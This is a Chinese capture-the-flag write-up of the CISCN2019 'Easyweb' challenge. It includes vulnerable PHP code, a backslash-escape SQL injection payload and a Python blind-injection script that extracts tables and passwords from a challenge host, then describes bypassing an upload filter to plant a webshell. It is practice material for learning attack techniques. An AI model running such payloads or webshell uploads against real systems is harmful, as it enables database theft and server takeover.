一.前言

在之前的文章中我提到最近一直在做sql注入相关的东西,也在一直做sql注入有关的题目。但是,事实上很多赛题他们的考点并不单一,往往需要结合着其他的知识,才能够拿到想要的结果。下面这道题就是我刚才所说的典型,虽然考的不难,但是足够说明当前sql题目的走向了。

二.正文

我们首先打开环境看到如下页面。

emmm,一个花里胡哨的登陆界面。尝试输入了很多用户名和密码组合,但是都不对。那就去扫一下目录,发现该网站存在一个robots.txt

这个robots文件中的内容就是在提示我们,该网站含有备份文件。(其实只要你的字典很对的的话,这一步可以省略,因为目录遍历脚本是可以跑出来的)。
那么,咱么去下载备份文件image.php.bak
得到下面的代码

<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以看到其中有一个addslashes()函数,还不懂这个函数的朋友们,可以看下面这个截图。

他会在预定义的字符的前面加上反斜杠,也就是我们如果输入\那么他就会给我们输出\\。看到php文件中有个sql语句,第一反应一定是要想如何拼接这个语句才能让这个语句为我们所用。因为反斜杠可以转义字符,也就是说我们我们如果让反斜杠在传入的参数中单独出现,我们就可以破环原本的语句结构,从而实现注入。
为此,请考虑如下语句。

select * from images where id='\' or path='{$path}'

上面的语句会发生什么?
本属于id参数的第二个引号被转义了,导致path参数的第一个引号成为了id参数的闭合引号致使id的参数为' or path=。在这种情况下,{$path}这个参数我们就可以随便加入我们想要的sql语句了。
那么,我们如何构造id的传参呢?直接传反斜杠是不可行的,因为存在addslashes()。这时候就要巧妙地利用str_replace()函数来帮我们来完成这一操作。
我们此时注意到,str_replace()的第一个参数有\\0,当然在代码中第一个反斜杠往往用于转义字符。所以说,str_replace函数这里替换的字符应该是\0我们如果传入的参数是\0,那么首先他会经过addslashes(),然后就变成了\\0,这个时候再由str_replace进行替换,id参数就成为了\,也就是达到了我们的目的。
让我们来尝试一下:
payload如下

image.php?id=\0&path=%20or%20ascii(substr((select(database())),1,1))>1%23

这样构造的payload是永真的,因为database的首字母ascii一定大于1。

ok,这说明我们的思路是没有的问题的,可以直接动手开始写exp了。
不过再给出我的exp之前,我还是要给出burp的抓包结果,以便说明,我们盲注的判断条件。

可以看到数据包返回的是十六进制的内容无法正常显示,但是我们还是能根据文件头中的JFIF来判断注入是否成功。
那么直接exp吧。(根据自己的需要更换payload,下面会有关于exp的解释)

import requests
import timedef start_ascii():database_name = ""# table_name = ""# column_name = ""url = "http://d6622b71-49e1-489b-9249-b78a159c3beb.node4.buuoj.cn:81/image.php?id=\\0&path=%20or%20"for i in range(1,300):low = 32high = 128mid = (low + high)//2while(low < high):# payload = "ascii(substr((select(database())),{},1))>{}%23".format(i,mid)payload = "ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),{},1))>{}%23".format(i, mid)# payload = "ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))),{},1))>{}%23".format(i, mid)# payload = "ascii(substr((select(group_concat(password))from(users)),{},1))>{}%23".format(i, mid)res = requests.get(url + payload)if 'JFIF' in res.text:low = mid + 1else:high = midmid = (low + high)//2# 跳出循环if mid == 32 or mid == 127:breakdatabase_name = database_name + chr(mid)# table_name = table_name + chr(mid)# column_name = column_name + chr(mid)print(database_name)if __name__ == "__main__":start_ascii()

爆表名

然后这里还有一个关键的地方,就是因为过滤了引号的缘故,所以在写爆字段名的payload的时候,我们不能直接

(table_name)=('users')

所以我们要用users的十六进制形式进行绕过。
users的十六进制形式是0x7573657273
爆列名

接下来就简单了。
爆字段(username就是admin就不贴图了)

用admin加上上面爆出的密码进行登录。

发现是一个文件上传点,那么直接写个一句话木马上传.

额。。发现有过滤。
emmm换一个方式用phtml,传上去了(惊。但是,后面蚁剑我连不上,不知道为什么.

上网看看怎么绕过过滤,师傅们都说可以用文件名写马,那咱们试试,但是这里一定要注意,因为在之前我们就已经测出来他在文件名上有过滤,所以我们这次应该直接用短标签写马。

然后用蚁剑连接,成功连上,但根目录下面拿到flag。

后记

怎么说呢,这道题从整体上来讲是不难的,关键点还是在于多个知识点一并的考察,其中还有一些小坑。phtml文件的上传不知为什么无法连接,到最后我也没搞明白这是怎么回事(以后再看看),但好在有后面的文件名写马,才成功的拿到了flag。

[CISCN2019 总决赛 Day2 Web1]Easyweb1相关推荐

  1. [CISCN2019 总决赛 Day2 Web1]Easyweb 1

    [CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...

  2. BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

    文章目录 前言 一.源码审计 二.开始冻手 1.伪造Cookie 2.上传文件 3.getshell 总结 前言 没赶上2019的CISCN比赛,只能在BUU看到前人大佬们的荣光~ 不是很清楚BUU附 ...

  3. buuctf-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫描目录   得到*.php.bak 尝试*表示的东西, index,flag之类的都没用 有image.php,顺便可以看到可能的注入点 下载下了备份文件 <?php include &qu ...

  4. buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...

  5. [CISCN2019 华北赛区 Day2 Web1]Hack World

    [CISCN2019 华北赛区 Day2 Web1]Hack World 这道题的考点貌似是sql盲注还是第一次遇到这种类型,表示太难了.. 主界面 它的意思是让我们给出文章的id,那我们就输入一试试 ...

  6. 【web-ctf】ctf_BUUCTF_web(2)

    文章目录 BUUCTF_web SQL注入 1. [RCTF2015]EasySQL 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk 3. [CISCN2019 总决赛 ...

  7. BUUCTF笔记之Web系列部分WriteUp(五)

    1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...

  8. BUUCTF笔记之Web系列部分WriteUp(三)

    声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负! 1.[CISCN2019 华北赛区 Day2 Web1]Hack World 最近多做做sql注入,感觉自己在这一块还是很菜,进去就给 ...

  9. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

最新文章

  1. 3.1 哈尔空间 V0
  2. 自学python买什么教材-学习Python的正确姿势—基础教学,教科书该怎么买?
  3. 数据结构 二叉树的建立,遍历
  4. 最难的几道Java面试题,看看你跪在第几个?
  5. Application Wizard生成的项目文件简介
  6. mqtt判断设备是否在线_物联网的基石-mqtt 协议初识
  7. SQL中Case的使用方法(上篇)
  8. 在mdk使用swd最后一步无反应_STM32应用笔记: 使用STM32CubeMonitor实时监测变量
  9. python热狗大战
  10. hbase数据库使用
  11. Maven配置MAVEN_OPTS
  12. eNSP路由器启动不了
  13. 常用数据库排名及分类介绍
  14. html的css样式中表示后代选择器,css样式,后代选择器
  15. 缓存的使用以及出现的问题
  16. k8s集群管理(一)
  17. 灰度共生矩阵原理+Matlab中实现
  18. Python UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xbb in position 0: invalid start byte
  19. 盘点大厂的那些开源项目 - 滴滴出行
  20. 国内第三方Chrome插件下载网站

热门文章

  1. 软硬皆施,WMS仓库管理系统+PDA,实现效率狂飙
  2. [附源码]java毕业设计超市收银系统
  3. 分布式爬虫系统设计、实现与实战
  4. ubuntu tenda u12 无线配置
  5. 【PdgCntEdit】书签的页码都是很大的正数,有没有办法把所有页码全部减去一个数??软件自带功能实现书签页码的增加减少增减书签页码
  6. 拆卸U2000服务器注意事项
  7. 算法分析与设计——规约和NPC问题
  8. Pygame 教程(4):图像传输和绘制文本
  9. Android Studio 使用腾讯浏览服务(替换掉系统自带的WebView)
  10. cuda多版本管理和分类、运行时cuda、驱动cuda